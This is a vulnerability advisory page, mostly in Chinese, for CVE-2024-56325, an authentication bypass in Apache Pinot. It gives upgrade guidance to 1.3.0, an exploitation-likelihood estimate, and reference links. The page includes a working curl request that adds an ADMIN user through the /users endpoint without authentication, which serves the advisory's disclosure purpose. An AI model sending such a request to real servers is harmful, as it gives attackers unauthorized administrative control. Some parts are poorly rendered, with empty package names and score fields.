CVE-2024-56325

描述

Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.

如何修補 CVE-2024-56325

要修補 CVE-2024-56325,請將受影響套件升級到下列已修補版本。

• —升級至 1.3.0 或更新版本
• —升級至 1.3.0 或更新版本
• —升級至 1.3.0 或更新版本

CVE-2024-56325 正在被利用嗎?

可能 — EPSS 為 78.7%,屬於高被利用機率區間,建議優先修補。

受影響套件(3)

• from 0, < 1.3.0
• from 0, < 1.3.0
• from 0, < 1.3.0

CVSS 分數

參考連結(7)

• ADVISORYnvd.nist.gov/vuln/detail/CVE-2024-56325
• PATCHgithub.com/apache/pinot
• WEBwww.openwall.com/lists/oss-security/2025/03/27/8
• WEBgithub.com/apache/pinot/commit/1b87488aeaf4836e3ef25b426ebbf1ad5a68e68f
• WEB